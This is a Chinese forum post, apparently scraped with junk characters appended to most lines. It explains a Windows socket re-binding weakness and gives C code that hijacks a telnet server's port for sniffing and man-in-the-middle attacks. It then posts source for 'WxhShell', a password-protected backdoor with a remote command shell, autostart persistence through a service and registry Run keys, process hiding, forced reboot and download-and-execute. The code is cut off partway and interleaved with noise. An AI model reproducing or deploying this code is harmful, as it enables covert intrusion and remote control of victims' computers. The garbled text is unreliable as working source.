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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {28|LwmL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m>>.N?  
JAPr[O&  
  saddr.sin_family = AF_INET; _VtQMg|u  
{zdMmpQF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *H>rvE.K?  
u;#]eUk9}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :=*de Z<  
9"[;ld<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v9*m0|T0M  
JxAQ,oOO  
  这意味着什么?意味着可以进行如下的攻击: e[S`Dm"i)'  
0#q=-M/?`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }f}.>B0#  
x%{]'z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ' W/M>!X  
?pDr"XH~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PnlI {d  
d=!:UB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .L'w/"O  
0YeTS!*Aj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -N *L1Zj  
c8RJOc4X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }aCa2%  
XYE|=Tr]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x0*{oP  
M`xiC  
  #include q'2vE;z Kb  
  #include EE/mxN(<  
  #include ny={OhP-  
  #include    ~E<2gMKjO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NkE0S`Xf  
  int main() wT1s;2%  
  { 2G8pDvBr  
  WORD wVersionRequested; ]I*c:(qwu  
  DWORD ret; `?Rq44=  
  WSADATA wsaData; <g4}7l8  
  BOOL val; .R9Z$Kbq  
  SOCKADDR_IN saddr; gL;Kie6Z  
  SOCKADDR_IN scaddr; 4E'9;tA3l  
  int err; " qI99e  
  SOCKET s; p{FI_6db  
  SOCKET sc; :|7#D,2  
  int caddsize; '`];=QY9pg  
  HANDLE mt; H=r-f@EOrI  
  DWORD tid;   3r\8v`^>  
  wVersionRequested = MAKEWORD( 2, 2 ); d|`Ll  
  err = WSAStartup( wVersionRequested, &wsaData ); l6viP}R  
  if ( err != 0 ) { 8xpplo8  
  printf("error!WSAStartup failed!\n"); Ia&R/I  
  return -1; Uv^\[   
  } 2|1fb-AR  
  saddr.sin_family = AF_INET; &hCbXs=  
   azcPeAe  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <N<Q9}`V  
==[,;g x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,S)r%[ru^  
  saddr.sin_port = htons(23); L74Mz]v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +SJ.BmT  
  { {K(mfTqm  
  printf("error!socket failed!\n"); ,pNx(a  
  return -1; 5pO|^G j1  
  } >.h:Y5  
  val = TRUE; ,Z. sGv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4 1_gak;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *O?c~UJhhV  
  { tAX* CMW  
  printf("error!setsockopt failed!\n"); rS8a/d~;0  
  return -1; &)eg3P)7  
  } 8v:{BHX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >}5?`.K~Q*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s -i|P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0mw1CUx9K  
V"FQVtTx7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lame/B&nc  
  { {(73*-~$  
  ret=GetLastError(); }5o?7} ?  
  printf("error!bind failed!\n"); FLZ9pb[T  
  return -1; }D/+YG  
  } 0=d2_YzSf  
  listen(s,2); _k-_&PR  
  while(1) "kg`TJf=  
  { 7#8Gn=g  
  caddsize = sizeof(scaddr); Z`Yt~{,Q  
  //接受连接请求 pwUXM?$R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Qm%F]nyy  
  if(sc!=INVALID_SOCKET) `-NK:;^  
  { `:/'")+@v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !Sq<_TO  
  if(mt==NULL) P rt} 01$  
  { K}*ets1s}  
  printf("Thread Creat Failed!\n"); d@%"B($nR  
  break; =:W2NN'  
  } 5*0zI\  
  } jX53 owZ  
  CloseHandle(mt); +2uSMr  
  } qA*~B'  
  closesocket(s); m 2H4V+M+  
  WSACleanup(); JJ.8V72;!Z  
  return 0; ~zp8%lEe  
  }   "TRS(d|3  
  DWORD WINAPI ClientThread(LPVOID lpParam) ul{x|R  
  { mh }M|h5Im  
  SOCKET ss = (SOCKET)lpParam; jW/WG tz  
  SOCKET sc; |diI(2w  
  unsigned char buf[4096]; qY_qS=H^  
  SOCKADDR_IN saddr; R!nf^*~  
  long num; ?u|??z%  
  DWORD val;  7WJ \nK  
  DWORD ret; j0=6B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N(/)e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [m~J6WB  
  saddr.sin_family = AF_INET; @SQsEq+A?\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z*@eQauA  
  saddr.sin_port = htons(23); Q=~"xB8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tjdPi a  
  { A2 l?F  
  printf("error!socket failed!\n"); Q PH=`s  
  return -1; A=|XlP$6  
  } _0H oJ  
  val = 100; UBvp3 2p  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i,Ct AbMx  
  { }nx)|J*p  
  ret = GetLastError(); U>5^:%3  
  return -1; "hkcN+=  
  } =C\Tl-$\f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \Lx=iKs<  
  {  T:}Q3  
  ret = GetLastError(); ~o}:!y  
  return -1; PK\ZRl  
  } \ovs[&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f}otIf  
  { vEv kC  
  printf("error!socket connect failed!\n"); m*0YMS>Y |  
  closesocket(sc); =~^b  
  closesocket(ss); =?sG~  
  return -1; /\J0)V  
  } PN* .9;5Z  
  while(1) )ycI.[C  
  { [-~pDkf:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U ?[ (  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K7}.#*% ~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k %I83,+  
  num = recv(ss,buf,4096,0); 8NN+Z<  
  if(num>0) ]ua3I}_B6v  
  send(sc,buf,num,0); TykT(=  
  else if(num==0) js$R^P  
  break; ">V&{a-C4  
  num = recv(sc,buf,4096,0); (* -wiL  
  if(num>0) FW]tDGJOw  
  send(ss,buf,num,0); w OL,LU  
  else if(num==0) '|}A /`  
  break; Koa9W >!  
  } )e(<YST  
  closesocket(ss); A;AQw  
  closesocket(sc); i'Y8-})  
  return 0 ; =NB[jQ :(  
  } U-|]A\`)I  
ly0R'4j \  
TrI+F+;  
========================================================== R'BB-  
]jT}]9Q$  
下边附上一个代码,,WXhSHELL fQ+whGB  
KsDS!O  
========================================================== U}92%W?  
Pz)lq2Zm9  
#include "stdafx.h" h nydH-;cz  
@]uqC~a^  
#include <stdio.h> g*k)ws  
#include <string.h> [ATJ! O  
#include <windows.h> B,b8\\^k|  
#include <winsock2.h> "Eh=@?]S_  
#include <winsvc.h> J)nK9  
#include <urlmon.h> @K;b7@4y  
y r (g/0  
#pragma comment (lib, "Ws2_32.lib") y oW ~  
#pragma comment (lib, "urlmon.lib") F5)`FM^R  
x&B&lFmo 8  
#define MAX_USER   100 // 最大客户端连接数 }#z1>y!#  
#define BUF_SOCK   200 // sock buffer ?v^NimcZ  
#define KEY_BUFF   255 // 输入 buffer M/S~"iD  
<q63?Ms'  
#define REBOOT     0   // 重启 \gA!)q.;  
#define SHUTDOWN   1   // 关机 ~^wSwd[  
NuZ2,<~9  
#define DEF_PORT   5000 // 监听端口 Dfs^W{YA  
=VC18yA  
#define REG_LEN     16   // 注册表键长度 I}f`iBG  
#define SVC_LEN     80   // NT服务名长度 @SfQbM##%  
IDct!53~  
// 从dll定义API X[tt'5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s-p)^B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '-wmY?ZFxy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pcMzLMG<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !GOaBs  
0X)vr~`  
// wxhshell配置信息 @SX%q&-  
struct WSCFG { Ak[X`e T  
  int ws_port;         // 监听端口 ;|Cd q  
  char ws_passstr[REG_LEN]; // 口令 s5~k]"{j  
  int ws_autoins;       // 安装标记, 1=yes 0=no c^}G=Z1@  
  char ws_regname[REG_LEN]; // 注册表键名 .*zN@y3  
  char ws_svcname[REG_LEN]; // 服务名 \Qml~?$@lH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tYA@J["^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?Y"%BS+pt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 161P%sGx2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no , Ckcc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !Asncc G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TY8gB!^  
 _a09;C  
}; n%E,[JT  
/HIyQW\Ki-  
// default Wxhshell configuration 5 -i,Tx&:  
struct WSCFG wscfg={DEF_PORT, !h? HfpYv  
    "xuhuanlingzhe", ~ l}f@@u  
    1, !y_FbJ8KC  
    "Wxhshell", 9xA4;)36  
    "Wxhshell", Y?^liI`#  
            "WxhShell Service", o3 0C\  
    "Wrsky Windows CmdShell Service", Jr!^9i2j'  
    "Please Input Your Password: ", t:wBh'K~R8  
  1, $dM_uSt  
  "http://www.wrsky.com/wxhshell.exe", i{$-[*WHiV  
  "Wxhshell.exe" Vh-8pF t  
    }; K0w}l" )A  
HZ3;2k  
// 消息定义模块 S:1[CNL;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CPB{eQeDuv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u\LNJo| B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1$Hou   
char *msg_ws_ext="\n\rExit."; [,;Y5#Y[5  
char *msg_ws_end="\n\rQuit."; !*]i3 ,{7v  
char *msg_ws_boot="\n\rReboot..."; 4DL;Y  
char *msg_ws_poff="\n\rShutdown..."; 7hJX  
char *msg_ws_down="\n\rSave to "; yaz6?,)  
CL0 lMZ  
char *msg_ws_err="\n\rErr!"; ni;)6,i  
char *msg_ws_ok="\n\rOK!"; n)yDep]$G  
M?l v  
char ExeFile[MAX_PATH]; bjVk9XvH6  
int nUser = 0; @a 9.s  
HANDLE handles[MAX_USER]; aRTy=~  
int OsIsNt; 're:_;lG  
[,Ehu<mEK  
SERVICE_STATUS       serviceStatus; L<FXtBJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E{ /, b)  
 IuY9Q8  
// 函数声明 |WB-Ng  
int Install(void); /8; m.J>bf  
int Uninstall(void); /&Q{B f  
int DownloadFile(char *sURL, SOCKET wsh); TcZ.5Oe6h#  
int Boot(int flag); >pu4G+M  
void HideProc(void); k4Q>J,k  
int GetOsVer(void); HV%/baX]  
int Wxhshell(SOCKET wsl); xPZ>vCg  
void TalkWithClient(void *cs); V$ZclV2:Ih  
int CmdShell(SOCKET sock); X]y:uD{  
int StartFromService(void); vW?\bH7}I  
int StartWxhshell(LPSTR lpCmdLine); kZe<<iv  
<7P[)X_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q>_<\|?%x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mZ71_4X#  
*RkUF!)(  
// 数据结构和表定义 }MaY:PMA  
SERVICE_TABLE_ENTRY DispatchTable[] = WW:G( \`  
{ ^ ]9K>}  
{wscfg.ws_svcname, NTServiceMain}, ///Lg{ ie  
{NULL, NULL} 96w2qgc2  
}; bK:U:vpYm  
A8f.h5~9  
// 自我安装 [9 MH"\  
int Install(void) Wt/;iq"  
{ 2E }vuw=c  
  char svExeFile[MAX_PATH]; z~Q=OPCnY  
  HKEY key; aL1%BGlmZ<  
  strcpy(svExeFile,ExeFile); -nS f<  
z& ;8pZr  
// 如果是win9x系统,修改注册表设为自启动 "$(+M t^  
if(!OsIsNt) { mx^Ga=: ?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hywcj\[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^QNc!{`  
  RegCloseKey(key); =~ Uhr6Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tp`1S+'~j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ??F* Z" x  
  RegCloseKey(key); u1meys a{0  
  return 0; ZiUb+;JA  
    } R;DU68R  
  } vRe{B7}p;  
} F! =l r  
else { lpG%rN!  
^/BGOBK  
// 如果是NT以上系统,安装为系统服务 k6CXuU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;VE y{%nF  
if (schSCManager!=0) `X<B+:>v-  
{ >Y>R1b%  
  SC_HANDLE schService = CreateService 811>dVq3/  
  ( Et3I(X3  
  schSCManager, d?7?tL2  
  wscfg.ws_svcname, t5{P'v9J  
  wscfg.ws_svcdisp, @v2<T1UC  
  SERVICE_ALL_ACCESS, =TD`Pet  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z:9Q~}x8  
  SERVICE_AUTO_START, {R_>KE1  
  SERVICE_ERROR_NORMAL, gGM fy]]R  
  svExeFile, 6+$2rS$1V  
  NULL, BwT[SI<Sg  
  NULL, @` KYgjjH  
  NULL, , ;,B7g  
  NULL, l@);U%\pS  
  NULL ]s=|+tz\V  
  ); ;TL.QN/l  
  if (schService!=0) ,4'gj0  
  { LGt>=|=bj  
  CloseServiceHandle(schService); c`<2&ke  
  CloseServiceHandle(schSCManager); 3y)\dln  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2j+w5KvU  
  strcat(svExeFile,wscfg.ws_svcname); C@XS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }xsO^K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vIpL8B86a  
  RegCloseKey(key); VKttJok1  
  return 0; m?(8T|i  
    } [rx9gOOa&  
  } f=^xU P  
  CloseServiceHandle(schSCManager); [NSslVr  
} .?{no}u.  
} f30J8n"k  
~A>fB2.pM  
return 1; yz68g?"  
} M5no4P<  
-+ByK#<%  
// 自我卸载 j !*,(  
int Uninstall(void) [oh06_rB  
{ zA5nr`  
  HKEY key; e \Qys<2r  
!@& 3q|  
if(!OsIsNt) { FW-I|kK.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J];Sj  
  RegDeleteValue(key,wscfg.ws_regname); akvi^]x  
  RegCloseKey(key); -+E.I*st  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^xHKoOTj[  
  RegDeleteValue(key,wscfg.ws_regname); Xc-["y64  
  RegCloseKey(key); YF{MXK}  
  return 0; `Na()r$T  
  } "VZ1LVI  
} y`RzcXblIZ  
} dgP e H8_  
else { _=$~l^Y[  
vgeqH[:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *aCL/:  
if (schSCManager!=0) =d8Rij-  
{ +0Q   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]ogifnwv  
  if (schService!=0) $5pCfW8>  
  { ZO/e!yju  
  if(DeleteService(schService)!=0) { r(r(&NU  
  CloseServiceHandle(schService); 7 z    
  CloseServiceHandle(schSCManager); 8C{&i5kj\E  
  return 0; UPH#~D!  
  }  u 8o!  
  CloseServiceHandle(schService); JwMRquQv  
  } @V:K]M 5  
  CloseServiceHandle(schSCManager); Wx0i_HFR  
} ]0D-g2!|A  
} }{F)Ren  
Pk;w.)kT  
return 1; CFFb>d  
} `ArUoYb B  
%* 0GEfl/  
// 从指定url下载文件 v\@qMaPY  
int DownloadFile(char *sURL, SOCKET wsh) 5[;[Te9=S  
{ e_b,{l#  
  HRESULT hr; Ii+3yE@c  
char seps[]= "/"; $U[d#:]  
char *token; y11^q*}  
char *file; 1]If< <  
char myURL[MAX_PATH]; oEX,\@+u  
char myFILE[MAX_PATH]; Xy(QK2|  
c=u+X` Q  
strcpy(myURL,sURL); 4 $R!)  
  token=strtok(myURL,seps); [#GBn0BG)  
  while(token!=NULL) |*?N#0s5h  
  { W5u5!L/  
    file=token; nWsRa uY  
  token=strtok(NULL,seps); &6\&McmkX  
  } yu6~:$%H  
9(]_so24,  
GetCurrentDirectory(MAX_PATH,myFILE); cB,^?djJ3  
strcat(myFILE, "\\"); CzV;{[?~;  
strcat(myFILE, file); z#+WK| a  
  send(wsh,myFILE,strlen(myFILE),0); \hX,z =  
send(wsh,"...",3,0); 7 (2}Vs!5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {v*4mT  
  if(hr==S_OK) |V5BL<4  
return 0; !EIH"`>!  
else P"NI> HM  
return 1; +jE)kaV%  
%R$)bGT  
} /D"T\KNWr  
im*sSz 0 (  
// 系统电源模块 7=fM}sk  
int Boot(int flag) "\*)KH`C  
{ hp)>Nzdx  
  HANDLE hToken; }#1.$a  
  TOKEN_PRIVILEGES tkp;  Z`*V9  
$+PioSq  
  if(OsIsNt) { ZJ{DW4#t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SGl|{+(A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U)kyq  
    tkp.PrivilegeCount = 1; mH,s!6j?Vp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4>(K~v5;N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Mg\588cI  
if(flag==REBOOT) { H s)]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r)S:= Is5  
  return 0; I~l_ky|a !  
} S+06pj4Ie  
else { |6d:k~p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HJr/N)d  
  return 0; 6teu_FS  
} Q3>qT84  
  } XF: wsC  
  else { EG\L]fmD  
if(flag==REBOOT) { U>t:*SNC*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rv[BL.qV  
  return 0; O5du3[2x7a  
} m LajiZ Bf  
else { rX$-K\4W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R}Zaz3( Hd  
  return 0; ANPG3^w  
} ]yKwH 9sl  
} wp:$Tqa$  
8TYh&n=r  
return 1; KeyKLkg>  
} pJg:afCg  
0 iSNom}m  
// win9x进程隐藏模块 ub 2'|CYw  
void HideProc(void) ;7Qem&  
{ s;h`n$  
!& c%!*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); > X  AB#  
  if ( hKernel != NULL ) (NUXK  
  { +]t9kr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >kAJS??  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1%M^MT%&  
    FreeLibrary(hKernel); leHKBu'd  
  } IO #)r[JZ  
~oOv/1v},  
return; 2h5T$[fV  
} (a!E3y5,  
\nOV2(FAT  
// 获取操作系统版本 r;f\^hVy  
int GetOsVer(void) HV`u#hZ7C  
{ &h[)nD  
  OSVERSIONINFO winfo; G%gdI3h1Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;\"Nekd|  
  GetVersionEx(&winfo); yzpa\[^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3znhpHO)  
  return 1; M/V"Ke"N  
  else F-Z>WC{+  
  return 0; [9?]|4  
} iP7KM*ks  
PvUY Q>Kw  
// 客户端句柄模块 Bptt"  
int Wxhshell(SOCKET wsl) Yp m*or  
{ b<fN,U< k  
  SOCKET wsh; Ct /6<  
  struct sockaddr_in client; Ql7opl,  
  DWORD myID; FIn)O-<  
;$a|4_U$m  
  while(nUser<MAX_USER) l$BKE{rg  
{ 3!;o\bgK  
  int nSize=sizeof(client); )P1NX"A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ivdPF dJ  
  if(wsh==INVALID_SOCKET) return 1; 6:r1^q6A9L  
/x-tl)(s=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ICoZ<;p  
if(handles[nUser]==0) FlS)m`  
  closesocket(wsh); ?Wt_Obl  
else Rpcnpo  
  nUser++; jbOzbxR?  
  } 'H1"z!]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); + $~HRbo  
AO$aWyI  
  return 0; ^1}ffE(3>  
} (I`< ;  
hy"p8j7_  
// 关闭 socket .hvn/5s  
void CloseIt(SOCKET wsh) /9y'UKl7[  
{ !x:w2  
closesocket(wsh); RAyR&p  
nUser--; Y!E| X 3  
ExitThread(0); 1?+)T%"  
} x^F2Ywp%  
'.&,.E&{$  
// 客户端请求句柄 y(#F&^|  
void TalkWithClient(void *cs) BcGQpv&x  
{ /`x|-9  
7f=9(Zj  
  SOCKET wsh=(SOCKET)cs; _ )^n[_E  
  char pwd[SVC_LEN]; Qzk/oH s  
  char cmd[KEY_BUFF]; X>jwjRK $  
char chr[1]; q33!X!br  
int i,j; 6a`_i  
kLY9#p=X  
  while (nUser < MAX_USER) { \t&6$"n(B6  
I|[aa$G  
if(wscfg.ws_passstr) { ?yz}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NOmSLIgt7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j1toV$)P  
  //ZeroMemory(pwd,KEY_BUFF); 1/q iE{NW  
      i=0; [laX~(ND{  
  while(i<SVC_LEN) { **YNR:#Y  
RZE:WE;5  
  // 设置超时 PZA;10z  
  fd_set FdRead; $j}sxxTT  
  struct timeval TimeOut; e$(i!G)  
  FD_ZERO(&FdRead); e;}5~dSi  
  FD_SET(wsh,&FdRead); >Q\H1|?  
  TimeOut.tv_sec=8; ELNA-ZKp  
  TimeOut.tv_usec=0;  WU,72g=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $t </{]iX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qXW2a'~  
2|w.A!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "/XS3s v"s  
  pwd=chr[0]; e]X9"sd0=  
  if(chr[0]==0xd || chr[0]==0xa) { &(^>}&XS.<  
  pwd=0; "Lpt@g[HF  
  break; 7#|NQ=yd  
  } 8UL:C?eY  
  i++; U14dQ=~b/  
    } Z*e7W O.  
qaGIU`}:$A  
  // 如果是非法用户,关闭 socket fW}H##b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =v5(*$"pd"  
} yZ)ScB^  
s*#|EdD6@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IA!ixabG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cwC, VYVl  
J2[QHr&tn  
while(1) { qP<,"9!I  
\M532_w  
  ZeroMemory(cmd,KEY_BUFF); UZX)1?U  
>qUO_>  
      // 自动支持客户端 telnet标准   8"* $e I5  
  j=0; >%3c1  
  while(j<KEY_BUFF) { :3n.nKANr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ng<`2XgU  
  cmd[j]=chr[0]; tw3d>H`  
  if(chr[0]==0xa || chr[0]==0xd) { 'IW+"o  
  cmd[j]=0; kWz%v  
  break; rqh,BkQ0t  
  } 1k%ko?  
  j++; Yh%wf3 UEO  
    } Tk2kis(n  
g4$%)0x%  
  // 下载文件 Zz&i0 r  
  if(strstr(cmd,"http://")) { &s;%(c04A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pn7 :")Zx  
  if(DownloadFile(cmd,wsh)) < 5_Ys  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9FLn7Y  
  else gX _BJ6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v!U#C[a^  
  } f8^58]wx0  
  else { @>:07]Dxo  
imhq*f#A[  
    switch(cmd[0]) { /#se>4]  
  /[IQ:':^  
  // 帮助 l{a&Zy)  
  case '?': { ?-84_i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XP^6*}H.*  
    break; 7~Ga>BK  
  } yl ;'Ru:  
  // 安装 ^[Er%yr0  
  case 'i': { eo_T .q  
    if(Install()) 4vQHr!$Ep  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y)*lw  
    else ZAH<!@qh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U?lu@5 ^Z  
    break; O]g+z$2o  
    } enzQ}^  
  // 卸载 eztk$o  
  case 'r': { B;~agr  
    if(Uninstall()) !Cy2>6v7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *pD;AU  
    else `^ _:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Kr)$F  
    break; D)sEAfvX  
    } `s_TY%&_}g  
  // 显示 wxhshell 所在路径 QMxz@HGa|  
  case 'p': { a*[\edcHU  
    char svExeFile[MAX_PATH]; e d*AU,^@v  
    strcpy(svExeFile,"\n\r"); |)-:w?  
      strcat(svExeFile,ExeFile); UQcmHZ+lf  
        send(wsh,svExeFile,strlen(svExeFile),0); V6{xX0'b*m  
    break; =|%T E   
    } w;$+7  
  // 重启 qU n>  
  case 'b': { ui{_w @o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ">9CN$]J  
    if(Boot(REBOOT)) y4L9Cxvs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NFc8"7Mz}  
    else { a !K;8#xc  
    closesocket(wsh); \-0`%k"&  
    ExitThread(0); rw2|1_AF  
    } %S#"pKE6 R  
    break; L>b,}w  
    } "y0 A<-~  
  // 关机 R7{hoqI2  
  case 'd': { \IfgL$+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (B-9M)  
